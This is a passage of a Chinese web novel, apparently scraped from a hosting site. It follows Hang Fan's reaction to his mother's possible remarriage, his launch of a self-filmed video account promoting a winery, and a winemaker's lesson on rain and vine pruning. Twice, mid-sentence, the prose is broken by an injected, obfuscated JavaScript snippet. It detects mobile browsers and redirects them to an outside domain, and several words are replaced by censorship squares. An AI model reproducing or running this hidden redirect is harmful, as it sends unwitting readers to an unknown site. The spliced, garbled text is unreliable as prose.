回家路上,为了不因为提前到家被杭艳玲发现逃学的事实,他还特意绕了好大一段远路。结果还没走出半里地,就迎面遇见了本应在家做饭的杭艳玲。 而杭艳玲却并没有看到他。 刚从菜场里买来的鱼,在手里塑胶袋中挣动着迸溅出血水。可她浑然不觉。 伫立在落地橱窗前,杭艳玲出神地凝视着临街的一整排人台模特:蕾丝水钻,蓬纱缎面,层层叠叠的花边像蛋糕的像奶油糖霜一样,堆砌出了对爱情与婚姻的甜蜜想象。 那是一家新开的婚纱店。她的眼神里充满了触不可及的疼痛与渴望。 杭帆倒退两步,像是窥见了一个软弱又悲伤的秘密那样,掉头落荒而逃。 “哎呀,我都到家了,你不要再讲了!叽叽咕咕的,听都听不明白。” 杭艳玲娇嗔的声音,一刻不停地从客厅里传来。 “走啦,你快走啦——干吗呀,我还没嫁给你呢!” 那响亮的笑声,如此清脆明媚,似是二十多年前的那段光阴重返人间。 “晚安晚安。再见,明天见!” 成熟一点,杭帆。他在被子里无声地对自己说。你不要太自私。 在历经这么多年的煎熬与苦难之后,如果这仍然是她想要的,如果这份迟来的婚姻就是让妈妈得到幸福的方法,那么,我…… “咔哒”一声,有人推门而入。 一个鲤鱼打挺,杭帆惊得从床上蹦了出去:“谁?!” 骤然亮起的卧室灯光下,杭艳玲显然也被他吓了一大跳。 “做什么呀你,大呼小叫的!” 她惊魂未定,手中玻璃杯的液面也正剧烈地摇晃着:“哎哟我的天,吓死我了……我差点就把杯子整个砸过去了晓得吧?我还以为是有坏人来了!” 我才是差一点就要被你吓死好不好!杭帆在心里崩溃大喊。 把装满凉水的杯子放在床头,杭艳玲在椅子上坐下。 “还没睡?不会又是在玩手机吧?”她身上明明有着浓烈的酒臭味,此刻的语气却意外的十分清醒:“诶,小宝,你头上怎么出这么多汗?是不是发烧了?” 轻轻挡开了她拭向自己额头的手,杭帆摇头。 “我没事。”他尽量装出轻松的语气,“妈,我真的没事。可能就是房间里稍微有点热。” “热吗?”杭艳玲收回手去,急急站起身:“那我给你换一床薄点儿的被子?捂出汗可不好了,要热伤风呢!” 哭笑不得地,杭帆赶紧拦住她。 “真的不用了,妈。你也赶紧去睡吧。”他说,勉力支撑出一个寻常的微笑:“明天咱们不是还要去吃饭么?我先陪你去珠宝柜台逛一圈,看看手镯与项链什么的,好吗?” 杭艳玲噗嗤一声笑出来,“你可还是给我省着点儿花钱吧!”她笑骂道,“怎么,涨工资啦?一天天的,献宝一样,钱花不完就不开心啊?” “上次你从香港带回来的包,我都还没背出去过几次呢。”闪动在她眼睛里的喜悦神情,既令杭帆骄傲,也令他黯然:“又不是有三头六臂,哪里用得了那么多!” “哎对了,上次我和你安姨出去玩,看到一双好帅的运动鞋,已经给你买来了。走之前要记得带啊!” 这一生中,杭艳玲从未做过真正的阔太太。即便是在和朱明华交往的最初两年里,每月三百块的零花钱,也大多被她拿来用在了这个小小的“家庭”里。 衣食住行,水暖煤电——人从呱呱坠地的那一天起,便处处都有开支,样样都得花钱——而无论手中的钱是多是少,杭艳玲似乎总能想出办法,把家中的大小事务都打理得井井有条。 她是穷人家的女儿,从小就教育杭帆,「钱要花在刀刃上。」 可话虽如此,在杭帆长大的这一路上,各项吃穿用度却也从不比同学们差。 即便到了现在,尽管杭艳玲每个月的退休金都只小几千块,她却依然舍得给杭帆买最贵最好的东西。 “谢谢妈。”他说,“但以后你可以多给自己买点的,我——” 杭艳玲柳眉一竖,立刻就让杭帆闭上了嘴。 “干吗呀?当妈的,给孩子买点东西,天经地义。我告诉你,少来啊,这个家里什么时候轮到做儿子的说教妈妈了?” 她重又在椅子上坐下,甚至还稍稍往床头又倚近了一些。 “小宝。”杭艳玲犹豫着说,“你这次回来……有没有什么事情想要告诉妈妈?” 在杭帆的沉默里,她又急急忙忙地补上一句:“比如,比如你爸今晚的那些话,你……你是怎么看的?” 朱明华说的话。杭帆心想,那不就是他想要和你结婚的事? ——我是怎么想的? 他似乎都能在耳朵里听到心脏贲裂的声音。 我觉得自己被背叛了,妈妈,可你觉得这是我能告诉你的吗? 在过去的那么多年里,妈妈,你对我说,你恨透了他,你甚至曾经后悔与他相识。在那些你因他而感到痛苦的时刻,我常因自己身上也流淌着来自他的一半血液而感到深 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“怀上你之前,我希望自己的孩子既聪明又漂亮,最好还能是个天才,做什么都好,做什么都成功,这会让我比世界上的其他妈妈都更有面子。” 摸着杭帆的头发,杭艳玲的眼中似有泪光。 “但我后来怀上了你。产检的时候医生跟我说,胎儿的位置不好,无法保证顺利地生产……你不是女人,你可能不明白,但那一瞬间我真是什么争强好胜的想法都没了。老天保佑,只要你能平平安安地来到这个世界上,我什么可以都不要。我什么都不要。” 她说:“小时候我要求过你很多,要学习好,要乖,要有出息。这让你很辛苦,我知道。真的,妈妈都知道。” “但现在你长大了,已经可以自食其力地生活,我已经满足了,再没有什么别的愿望。什么门当户对,你别听他乱说,他根本不懂!就算你要找个丑八怪,找个比你大二十岁的,找个——小宝,只要能对你好……这些都没关系的。” “人只能活这一辈子,无论开心还是不开心,谁也不会比别人多得几十年的。小宝,妈妈想要你开心呀。” 杭帆不知道她为什么突然会说这番话。 他疑心杭艳玲是先前喝得太醉了,又或者是因为她在被抛弃之后被知情人嘲笑,说“穷酸巢里飞出来的小麻雀,也想要攀上高枝做凤凰吗?” 小学高年级的时,杭艳玲也曾因为心疼他的作业太多,说你健康就好,健康比什么都重要。等杭帆真的因为嫌写字手酸而给副科交了白卷回来,杭艳玲气得挥起笤帚揍他,把他撵得满屋子里上蹿下跳。 如今想来,考试不及格反倒成了人生中最容易弥补之事。 因为世间另有许多珍贵的东西,一旦破碎,就再也拼合不起来。 而杭帆绝不敢拿它们做赌。 “没事的,妈。”他对杭艳玲道,“我不在意他说什么。” “结婚也好,别的也好……妈,只要你觉得幸福,我都会支持你的。” 哪怕这份幸福里并没有我的立足之地,哪怕这会让我遍体鳞伤,可倘若就是你真正想要的生活—— “我没有意见,你不用担心我。” 这一次,我会保护你的,妈妈。 54.新构想 窗帘紧闭的昏暗房间里,手机闹铃无情地刺破了清晨的宁静。 缓慢蠕动两下,床上的一大坨被子里伸出半截莹玉般的胳膊,摸索了好一会儿,略带暴躁地摁掉了闹钟。 九分钟之后,闹钟再次兢兢业业地叫唤起来。 愤怒地翻了个身,被子底下的那团生物发出了饱含恨意的咕噜声。 掀开被子,杭帆从床上爬起来,迎头撞上了昨晚刚固定在床边的运动相机一号。 连眼睛都睁不开的杭总监,一边在嘴里嘟囔着“好痛”,一边死气沉沉地拖动着步子,把自己搬运向房间的另一端。 还没走到门边,他的眼角余光就已瞄见了侧边悬挂着的相机二号:欢乐闪烁着的状态指示灯表明,它也正在勤勤恳恳地进行着定时录制工作。 很好,杭帆这样想着,面无表情地摁亮了宿舍的电灯开关。 跌跌撞撞地滚进浴室,小杭总监低头往脸上泼了把冷水。 竖在洗手台边的三号相机则诚实地捕捉到了他与镜子里的自己对视时的眼神:那可真是一个精彩如表情包般的表情啊。假使头发丝也能开口的话,它们此刻正应在杭帆的头顶上进行“生不如死大合唱”。 “……这班是非上不可吗?”杭帆喃喃地嘀咕一句,“要不还是——哎,算了。” 含着满嘴的牙膏泡沫,他伸手关掉了面前的运动相机。 四号相机设在员工宿舍的走廊上。杭帆困得走不成一条直线,差点在半睡半醒中踹翻了自己亲手布置的机位。 手忙脚乱地抢救下相机,握持着自家宝贵工作设备的杭总监,终于摇摇晃晃地出现在了生活区的厨房里。 “早上好。”含混地咕哝了一声,他重重跌坐进了桌边的椅子上。 站在烤面包机面前,嘴里哼着歌的岳一宛正在把玩手里黄油刀,动作轻巧得像是在交响乐团面前挥动一根指挥棒。 “早上好。” 这家伙笑眯眯地转过身来,嘴里却是一刻也不能停:“凌晨六点多的杭总监,稀客啊!今天的太阳不会要打西边儿出来了吧?诶?你怎么看上去跟要死了一样?” 瘫坐在椅子上的杭帆,两眼无神,手上倒还本能地记得要把相机转向自己:“……因为我的生物钟拒绝在这个时间起床。” “我想也是。”岳一宛抱起胳膊,挑了挑眉:“所以你这是在干吗?大清早的,想要改行做自律博主?” “……自律,自杀,我也看不出它们有什么分别。” 杭帆,斯芸酒庄的知名起床困难户,今天也在与睡魔进行着艰难斗争。 过了半个多小时,被冰镇苹果汁冻得浑身一激灵,杭总监终于从晨起梦游的状态中清醒过来。 “还好还好,”他的第一反应竟是低头检查手里的运动相机:“都录上了吧?好的,还有电!我吃完了,先回房间里导出一下数据。” 伸出一根指头,岳一宛勾住了他的卫衣口袋:“你今天全程都在对着自己拍耶,”可能是脑子困得坏掉了,杭帆竟然觉得这人的语气有点酸酸的:“是要准备从罗彻斯特跑路,所以提前开始计划做颜值博主了吗杭总监?” “……”高高举起手里的运动相机支架,杭帆想用把它狠狠劈在这人的脑门上。 但转念一下,这毕竟都是公司资产,他到底还是摁下了自己想要行凶的念头。 “我到底哪里看上去像是要辞职?!” 你哪天看起来不想要辞职?岳一宛在心里嘟嘟囔囔道。 尤其是前两天,清明假期才刚结束,气氛就已经低落得简直像是人事部给你下发了辞退信似的。 “那就没准备辞职的意思啰?” 圆圆的翠绿色眼睛里闪动着十二分的无辜,岳大师的语气立刻又轻快了起来:“啊哈,我之前还以为是Harris又开始找你的麻烦了呢!” 说到Harris,此獠近来甚少作妖,让杭帆感到有点不太习惯。 “好像是从糖酒会那阵开始的?突然间就消停了起来。” 斯芸酒庄距上海千里之遥,杭总监实是闹不清总部的那些高层又在搞什么权斗把戏:“我都已经一周多没收到他在大群里的@了。” 而嚣张如岳一宛,则表示自己近一周都没有登录过企业微信。 “在休假来临之前,要先退出所有工作账号,以防你的老板和同事突然犯欠找你聊工作。这不是常识吗?”这人的腰杆子真是比劳动法还硬:“哦,然后我就忘记登录回去了。” “那您可真是拥有最先进的工作理念。”莫得感情地,杭帆鼓了鼓掌:“正道的光,希望它也能也照射到我身上。” 休假?笑话! 这可是新媒体行业,热点与舆论变化得比A股的走向还快。 一周七天二十四小时,甲方和老板永远都会要求大家随叫随到。就算在半夜两点被电话紧急叫起,要为蹭上时事热点而把整个方案都推翻重来——又有谁会敢说一个“不”字呢? 成都糖酒会结束,不知是因为市场部在工作报告里如实提及了杭帆在线下活动中的贡献,还是因为别的什么缘故,Harris破天荒地在工作大群里表扬了杭帆几句。之后,此人的企业微信就像是死了似的,再也没有吱过声。 这令小杭总监稍稍松了口气(他并没有诅咒Harris去死的意思,真的。但如果有哪位心软的神愿意大发慈悲,杭帆很乐意每年都去向祂还愿)。 在确信自己暂且还不会失业之后,杭帆精神振奋地开始执行起了自己的最新构想。 “我还记得,你的旧方案好像是想要出卖我的色相。” 岳一宛倚在门边,若有所思地发问:“所以现在这个新方案是……出卖杭总监你自己的色相?” 回收了宿舍里的全部三台相机,杭帆坐在电脑前,鼠标狂点,挨个确认着视频素材的完整程度。 “单纯地出卖色相是没有前途的。”他头也不抬地回道,“就算是你,那也得搭配上酒庄风光,以及沉浸式体验之类的特殊卖点,才能够有效地变成我的KPI。” “嘁!”岳大师愤愤然,语气里颇有不平之意:“‘距离产生美’,这可真是句至理名言——你瞧瞧你,杭帆,现在都敢开始对我挑三拣四了!” 再三确认过硬盘里的拷贝完整无误,又往网盘里上传了整套备份,杭总监这才小心地拔掉了相机上的数据线。 他回头看向眼岳一宛,对这人的胡搅蛮缠式发言给予了高度容忍:“想什么呢岳大师?这早就不是光靠脸就能搏出位的年代了。” 在这个全球互联网总人口已逾五十亿的时代,任何人,只要拥有一部能联网的设备,就能轻而易举地阅遍各色帅哥美女。 喜欢高大英俊的?大数据懂你。请收下这满屏的一米九金发黑皮帅哥。 喜欢娇小可人的?大数据明白。请给信息流里的XS码童颜美女点个赞。 在世界因互联网而变得极度扁平的同时,这些数量庞大而又唾手可得的照片,也使我们对“美貌”的挑剔达到了前所未有的苛刻巅峰:鼻梁不够挺拔,划掉;胸肌不够饱满,划掉;脸上长了雀斑,划掉;双眼皮是割的,划掉。 □□的美丽,明明从未有过举世认同的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15671975|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客观标准,可在互联网的世界里,却总会被人拿来进行最残酷的比较—— 你天生长得好看,我就敢躺上手术台全身动刀。你擅长鬼斧神工的化妆术,我就练就一套天衣无缝的修图技巧。你把衣服穿得若有还无,我就能在镜头前脱到□□。 这是一场没有赢家能够胜出,也永远不会抵达终点的疯狂马拉松大赛。 “‘博主的颜值可以打八分吧,就是个头有点矮了,这能说吗?括号,顺便一提我有180,括号。’” 深谙当代互联网生存之道的杭总监,总能把某些网友的奇异发言模仿得惟妙惟肖。 “‘你们为什么都喜欢长这样的男人啊?头像是本人,我觉得自己比博主好看多了。’” 在岳一宛的猖獗笑声里,杭帆向他甩去一记瞪视:“有什么好笑的!把你发在网上,如果内容只有‘脸好看’,得到的评论也是一样!” “你知道网上有多少自以为是的家伙,非常自信地认为自己长得比谢咏还帅吗?” 一想起这些年在工作中遇到过的离谱发言,杭总监就忍不住要捏起鼻子:“简直不可理喻。” 狂笑之中,岳大师飞快做答:“别人我不知道。但和谢咏相比,确实是我比较好看,这是客观事实。” “这不是重点!”杭总监抓狂,“重点在于,单凭一张好看的脸,是很难和人建立真正的情感链接的。” @永别吧老板我将辞职去远杭: 我愿重修大学四年的早八专业课,换余生都不必起早贪黑去上班。@斯芸酒庄猜我恨你有多深?闹钟知道我的心。 清明小长假后的第二个工作日,上午七点半,杭帆在他新创建的账户上发布了第一条视频。 视频中,姿容皎然的青年顶着一头鸟窝似的乱发,满脸死意地从被子底下蛄蛹出来。他迟缓地摁开了灯,摇摇摆摆地钻进浴室,动作机械,神情麻木,像是一具被外星人吃掉了脑子的僵尸,又好似被邪恶科学家抽干了全部的生命力。 「这班是非上不可吗?」 十五秒小视频,刚好停在了他对镜自问的叹气声里。 为确保用户粘性,新建账号所发的第一条内容,往往都会得到平台的流量扶持。 利用这条不成文的游戏规则,账号“辞职远杭”的首个视频内容一经发出,就迅速获得了接近一千次的播放量。 “用最漂亮的脸问出了最沉痛的问题。” @永别吧老板我将辞职去远杭:所以这班是真的非上不可吗? “帅哥也要早起上班吗,好惨,这边建议你去吃金主软饭,然后包养我。” @永别吧老板我将辞职去远杭:你都做梦了,为什么不能直接无偿送我五百万。 “只有我觉得这个点起床也还好吗?” @永别吧老板我将辞职去远杭:留下你的手机号,下次三点上工时我必同步喊醒你。 “笑鼠!博主好优美的精神状态,像被迫进行动物表演的奶牛猫。” @永别吧老板我将辞职去远杭:人类也是一种动物,保护动物,从不上班开始。 “第一条视频?这么专业的机位与转场?你不如直接告诉我这是要带什么货吧。” @永别吧老板我将辞职去远杭:给我一百万,这份工作卖你了。 “本来觉得挤早高峰地铁的自己很惨,但看到还有人惨到摸黑早起还撞到脚趾,心里立刻舒坦了。” @永别吧老板我将辞职去远杭:心理治疗的费用结一下谢谢。 三天之后,这条内容朴素到堪称平淡的视频,点赞数悄然突破两万。 55.在命运的牌桌上 两万! 苏玛发来一个兴奋到晕倒的表情包。 杭老师,咱们手上管着的所有公司账号,就算把过去一个月里的发布内容全加起来,也都抵不上这一条的数据好啊! 你也功不可没。杭帆表扬她,视频剪得很不错。辛苦你了。 不辛苦不辛苦,苏玛嘿嘿地笑,毕竟是杭老师您给了钱的嘛!食君之禄,忠君之事,这是应该哒! 下次可以考虑稍微加入一点夸张的文字特效,杭总监又发去了几条简短的反馈意见。封面也可以做得再抓人眼球一点。稍等,我发个参考给你。 苏玛发来小鸡啄米的点头表情:哇,好抽象的案例,但是我喜欢!一定保质保量完成任务,再创两万的数据辉煌! 她亲爱的杭老师缓缓贴出一串巨大的省略号。 区区两万,他说,距离成为平台的头部账号还差得远呢。我们的下个目标是十万。 十万!小实习生吓得噗通一声跪下:杭老师,咱、咱有必要搞得这么卷吗……? 您为了给酒庄引流而做的这个号,又要自己倒贴钱,又要额外做一份工,这已经是责任心爆棚的顶级牛马了!她说,可就算“辞职远杭”的播放量冲破百万大关,Harris也不会把这部分数据算进您的绩效里呀。 上个破班而已啦杭老师。小朋友甚至还反过来劝他:这些高奢品牌的官方账号,一个个发言都装腔作势得都跟塑料假人似的,本来就不会有人看!咱们只要把斯芸官号的数据给抬得稍微好看些,能让您在工作总结里糊弄得过去,也就已经足够了吧? 苏玛的这句话让杭帆苦笑一声,不由自主地从手机上抬起头来——顺着四月熏风拂过的方向,他的视线扫过葡萄园起伏无垠的一级级梯田,最终,落在地势低处的一条山丘坡道边。 那是岳一宛此刻所在的位置。 隔着好几块葡萄田的距离,首席酿酒师并没有察觉到杭帆投来的目光:他正全神贯注地与酒庄的种植顾问交谈着什么,几个手势反复来回比划,像是对细节的强调与确认。 身为岳一宛的师父,Gianni说,世界上不存在任何“完美的”东西,葡萄酒也是一样,最好趁早放弃这个念头。 杭帆不是不能明白这个道理。可他却更能理解那个执着地想要追求完美的岳一宛。 当你全情投入于这件事中的时候,当你对它怀抱有巨大的热忱与挚爱的时候,当你为之压上了自己从今往后的所有人生的时候—— 你将永远不会以为自己手中的成果而满足。 它永远都不可能“足够好”。因为它永远都会有被修正与可进步的空间,前方永远都存在着下一个可被超越的目标。你将终生都为这束烈焰所驱使,永不停息地跨步向前。 酿酒是如此,新媒体亦同。 引流的转化率向来难以保障。运气不好的时候,可能有一百个人看过“辞职远杭”的视频,却没有一个人去真正点开在文案里被@的斯芸酒庄。 要有多少播放与点赞,才能让斯芸酒庄的账号被大家真正看到?要有什么等级的传播量,才能让这些售价高昂的酒款被真正可以理解它的人所品尝? 仅仅两万,这个数据是远远不够的。 杭帆想要更多。他需要更多。 「我想要你梦想成真。」 ——为履行这个承诺,他愿意穷尽自己所拥有的一切力量。 但杭总监也不会就此而把压力转嫁给别人。 你先别紧张。他和蔼地对自己那位带薪摸鱼的实习生道:发挥自己的通常水平就好。 我也没指望大家看完小视频,就会立刻争先恐后地跑来给斯芸酒庄送钱。他说,别给自己太大的心理负担。做后期剪辑的,又不是搞脑控诈骗,但凡你有这种超能力,哪里还需要给罗彻斯特打工? 不加修饰的大白话,换来苏玛发的一整屏问号。 杭老师,你是真的被岳老师给带坏了! 她痛心疾首地做出控诉:你以前可从不会说这么扎心的话! “哎呀好巧,杭总监,一个人哪?” 这边厢,杭帆还在远程给小朋友布置工作,那边厢的岳一宛已然溜溜达达地沿着坡道走了上来,“你旁边有人坐吗?要不我请你喝一杯?” 这人装模作样地念着登徒子式的搭讪台词,手中递来的却是一瓶矿泉水。 “对不起,有人。”接过矿泉水的杭总监,一边在工作手机上打字,一边忍笑冲身边的那片空地努了努嘴,“我同事在。” 他的同事脑壳漆黑,方方正正的脸孔上,还长了一只巨大又无辜的圆眼睛——那分明就是一台支在三脚架上的摄像机! 岳一宛乐不可□□你这同事还挺会给公司省钱的,”他冲摄像机挥了挥手,“连出差都不需要车马费,直接往后备箱里一躺就行。” “确实如此。”杭帆总是能以最平淡的口吻做出最惊人的发言:“我和它毕竟也是一起睡过越野车后备箱的交情了。” 五秒钟的沉默过后,酿酒师谨慎发问:“罗彻斯特集团知道我国已经废除奴隶制一百年了吗?” 一个没忍住,杭帆笑得从坡地上滑了下去。 仲春傍晚的天幕是玫瑰色的。 霞光笼罩下的葡萄园,祥和的暮色悄然拥住了这片土地。而那些为酒庄所雇佣的农人们也已经拾掇好了各自的工具,或是推着板车,或是扛起背篓,三三两两地向着玉花村的方向走去。 经过岳一宛与杭帆身边时,他们也向着两人摇手告别,“天要黑啰!”与酿酒师熟识的老农笑着冲他们喊,“赶紧回家吃饭啰!” “我早都下工了,”岳一宛得意洋洋地笑,“这不是正在等我们杭总监吗!” 这是一日之中最美丽的时刻:为丘陵所环抱的天际线上,胭红的云朵浓淡相叠,仿佛是化妆盒里的水粉,怡然涂抹在荡漾着淡淡金光的画布上。 估算了一下太阳完全落山的时间,杭帆转向身边人:“我还得再录半小时左右,你要不先回去?” “哦?你能认路?”岳大师反问他,意犹未尽地回味着刚发生的乐子:“昨天是谁来着,七拐八弯地绕进了隔壁酒庄的葡萄园,还要我翻山越岭地去解救他……” “我只是没把宝贵的大脑内存用在这种小事上!” 眼神躲闪的杭总监,拒不承认此事的发生。 岳大师愉快地弯起了嘴角。由于深谙穷寇莫追的道理,他决定就让今日份的戏弄到此为止。 “来吧,”他捉住了杭帆的胳膊,“趁着天还没黑,让我们补上今天的课程。” 将仍在录制酒庄日落风光的摄影机留在了后方,两人并肩走进身侧最近的一块葡萄田里。 “看,”岳一宛俯下身,指向面前的一株葡萄藤:“刚从成都回来的那几天,它们还全都是光秃秃的。现在就已经开始疯狂地抽芽了。” 不论看多少次,他说,语气中满是惊叹:我都觉得,生命可真是一种奇妙的东西啊。 杭帆也跟着蹲下身去:正如人类的生命历程会有大相径庭,每一株葡萄藤的生长快慢也都不尽相同。当附近的几株葡萄藤还都只有小小几颗芽点时,在他面前这一棵,已经迅疾地抽出了好几根细长的新条。 “它是不是会成为这块田里最先结出果子的那一株?”杭帆问。 凑到近前观察了一下,岳大师似乎对这名抢跑选手不大满意。 “恐怕不是件好事,”酿酒师冷静评论道,“它的成熟期可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15681341|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能会刚好撞上天气最糟的时候。” 没有任何农业经验的杭总监,只能从都市居民的角度来理解这句话的意思:“天气糟糕?是指自然灾害吗?下冰雹还是刮台风?” 伸出手去,岳一宛轻轻摸了摸新生的嫩绿色枝芽。 “不,”他说,“虽然烟台偶尔也会有冰雹和台风天气,但蓬莱产区面对的最大困难,是下雨。” 书本上说,农人喜雨,因为“春雨贵如油”。 “最理想的状况,当然是尽量都在春天下雨。”竖起一根手指,岳大师对着他们头顶的天空好一阵指指点点:“秋天下雨?那绝对是噩梦。” 雨滴会在重力作用下击破果皮,并从别处的灰尘中带来病菌。而潮湿的环境,又会令已经成熟的葡萄加速腐烂。雨水四处迸溅,还会将充满霉菌的腐烂液体播撒向周围的葡萄,肆无忌惮地侵染向那些原本茁壮健康的果实。 成熟季的一场大雨,对酿酒葡萄们而言,无异于是一场劫难。 “就算不在秋季,夏天里的连续暴雨也会让葡萄的品质出现问题。” 一说到下雨,岳大师的脸上就立刻失去了光彩,他是真的有许多和暴雨相关的讨厌回忆:“葡萄酒的世界里,不是有所谓‘好年份’与‘坏年份’之说吗?这指的其实就是葡萄收获那年的气候差别。而降雨量的适当与否,正是评判年份好坏的一个重要指标。比如去年和大前年,就是非常典型的坏年份,因为雨水太多了。” 为追求细腻甜美的口感,新鲜而多汁,这是鲜食葡萄身为“水果”的必备属性。但酿酒用的葡萄却需得反其道而行之:果实中的含水量越少,糖与风味物质在果汁中的占比就越高,用它酿出的酒才会更加浓厚香醇。 “这就像是速溶咖啡粉和水的关系。”岳一宛打了个比方,“如果把咖啡粉比作是风味物质的话,在一杯水加入一勺粉末,和往一桶水里加入一勺粉末——你肯定不会觉得后者能好喝对吧?” “其实我以为,只有在生长期的葡萄才会大量摄取水份。”杭帆有些惊奇:“在果实接近成熟之后,它也依然会吸取这么多不必要的水份吗?” 尽管稍微有所克制,但岳一宛的脸上多少还是流露出了一些看傻子似的怜爱神情。 “杭总监,”语重心长地,他拍着杭帆的肩膀道:“水,是生命之源。摄入水份,就是一切生物的本能。葡萄不是你那些设定好了程序就会定时关闭的聪明设备——它们只有本能,但是完全没长脑子。” “只要有水,植物就会一直一直地喝下去,直到把自己的根都泡烂为止。” 岳大师把手一摊:“葡萄这种东西,就算变成了尸体,扔进水里之后都还会继续泡发到膨胀爆炸呢!何况是在活着的时候。” 这人的修辞技巧约摸是在地府里学的吧。 然而,湿润多雨,这正是烟台夏季的季节特点。 “但你之前讲过,‘风土’气候与土壤的结合,也是酒庄自身的命运。”杭总监不禁就要为面前的这些葡萄感到忧心:“可既然多雨天气会损害酿酒葡萄的品质……” 那对于斯芸酒庄来说,这份命运,是否也有些过于坎坷了? 岳一宛抬起头来,向他微微一笑。 “是啊。”酿酒师说,“若是以纯粹的消极视角来看,风土这种东西,就像是各家酒庄在赌桌上拿到的手牌:优点通常都很有限,缺点却能排出五花八门的各种组合。” 他轻轻捏了捏杭帆的掌心——他知道,这是一双可以在绝境中化腐朽为神奇的手。因为他已亲眼见证过这人所创造出的小小胜利。 “但是,杭总监。人与葡萄的不同之处就在于,葡萄只能被名为‘风土’的命运所选择,而人却可以主动地对抗命运。” 56.平等博爱之心 在自己的手心里,杭帆能够清晰地感觉到岳一宛指腹上的薄茧:那种轻微的痒意,像是被小动物的毛发搔挠过掌心。 “你的意思是说,‘人定胜天’……?” 杭帆试图把注意力从自己的手上移开。 “天气确实可以被人类的科学技术所干预。但这样一来,令你们酿酒师所引以为豪的‘风土’特色,不也就一起被改变了吗?” 挨个儿揉捏着杭帆的指尖,岳一宛歪了歪头。 “你可能没有理解我的意思,”他说,“山东是中国最重要的蔬果产区之一。被雨水所影响的,可不仅仅只有葡萄这一种作物。” 我之砒霜,彼之蜜糖。 有赖于充分的日照与丰沛的雨水,烟台地区才能盛产出各种多汁而鲜甜的水果。为了保护酿酒葡萄而牺牲其他果农的利益,这是绝无可能之事。 牵过杭帆的手,他将之放到了面前的葡萄藤上:“但是,通过对田里的葡萄进行精细的栽培管理,我们也同样能够帮助它们巧妙地躲开雨水。” 夜幕渐起,天光迅速地黯淡下去。 昏昏暮色之中,世间万物都变得模糊起来。就连近在身侧的岳一宛,在杭帆眼中都也勾勒出一层不甚分明的朦胧暗影。 视觉的失效,却令肌肤上的触觉感知更加清晰:在藤条的表皮上,粗糙不平的肌理像是一座座纵横起伏的微型山脉。在仿若大地般坚实温暖的质感里,又有一个又一个小小切口四处散落着。 裸露在断口处的小块纤维肌理,平整又利落,它们熨帖地擦过杭帆的手指,留下与树皮截然不同的触感——像是新近被修剪过的痕迹。 “这是‘剪枝’。”岳一宛解释说,“算是栽培管理手段的一种。” 葡萄抽芽的季节,本应在三月中旬就正式宣告开始。可在岳一宛与杭帆动身前往成都之前,漫山遍野的葡萄田里还仍旧是一片光秃秃与灰扑扑的景象。 尽管风景萧瑟,但人们在葡萄田里的忙碌却不曾停止。水库的冰面刚一解冻,来自玉花村的种植农们就重新翻整了葡萄田里的土壤,赶在暖春彻底来临之前,他们还要争分夺秒地为酒庄里的每一株葡萄藤进行剪枝。 杭帆的摄像机忠实地拍下了这样的场景:穿梭在一排排的葡萄架之中,农人们挥舞起剪枝刀,精准地去掉每一根赘余老迈的藤条,仔细地剪除掉过于细弱的芽眼…… “这不仅需要体力和技术,也需要丰富的田间劳作经验。”岳一宛解释道,“粗暴生疏的操作,以及对天气的错误判断,都会伤害到葡萄藤的植株,从而影响未来一段时间的葡萄产量。在这方面,本地农民们的判断往往会比种植顾问更加可靠。” 通过各式各样的栽培管理方法,斯芸酒庄得以精确地控制葡萄们的生长周期,并小幅度地延迟了葡萄的抽芽时间。 指着面前那棵已经抽出新条的葡萄藤,岳一宛说:“总体来讲,从抽芽到果实成熟,这个过程大致需要六到七个月时间。而烟台地区的降雨高峰,通常发生在七月到九月的这段时间。” 杭帆立刻明白过来:“如果葡萄在三月末就开始抽芽……那在它濒临成熟和最终收获的季节里,撞上大规模降雨的概率就几乎是百分之百。” “没错。” 啪得一声,岳一宛打了个清脆的响指:“这就是我们为拯救葡萄而玩弄的时间小把戏。” 延迟到四月上旬才开始抽芽的葡萄,因为成熟期也来得更迟,因而能够恰到好处地躲避掉夏日的雨水。 酿酒师举起胳膊,遥遥指向了周遭如这一片片如天梯般起伏连绵的葡萄园:“当然,在愚弄时间之外,我们还有其他防止雨水侵害葡萄的手段。虽然斯芸的花岗岩土壤天然就具有强大排水能力,但为了能得到质量更好的葡萄,梯田设计,改良土壤,还有挖掘排水沟等等,这些人工干预的方式也必不可少的。” 人或许无法彻底地征服自然,但人也不会轻易地屈从于命运。 在与气候与天灾斗智斗勇的千百年中,久经风霜的一代代农人们,最终历练出了一套精妙超绝的生存智慧。 伸出另一只手,杭帆捧起一支新嫩的枝条,无不惋惜地感慨道:“这样看来,这位抢跑选手,是很难度过雨季的吧……?” 在斯芸酒庄,每一株葡萄藤,都倾注了此地所有工作人员的心血。 一颗在抽芽时就注定了无法收获果实的藤苗,就像是一个落地后却注定会夭折的孩子,令旁观者也要为之心痛。 “那倒也不至于现在就给它判死刑。”岳一宛郑重表示:“只要它能结出健康的果实,我们总还是会想办法抢救它一下的。” 这家伙,是对此地的每一颗葡萄都怀抱着同样的平等博爱之心啊。杭帆在心里微笑。 他正要站起身,脸色却倏然变得古怪起来。 暮色之中,岳一宛看不清身边人的表情。但通过掌中突然绷紧的五指,他敏锐地察觉到了杭帆身体的僵硬。 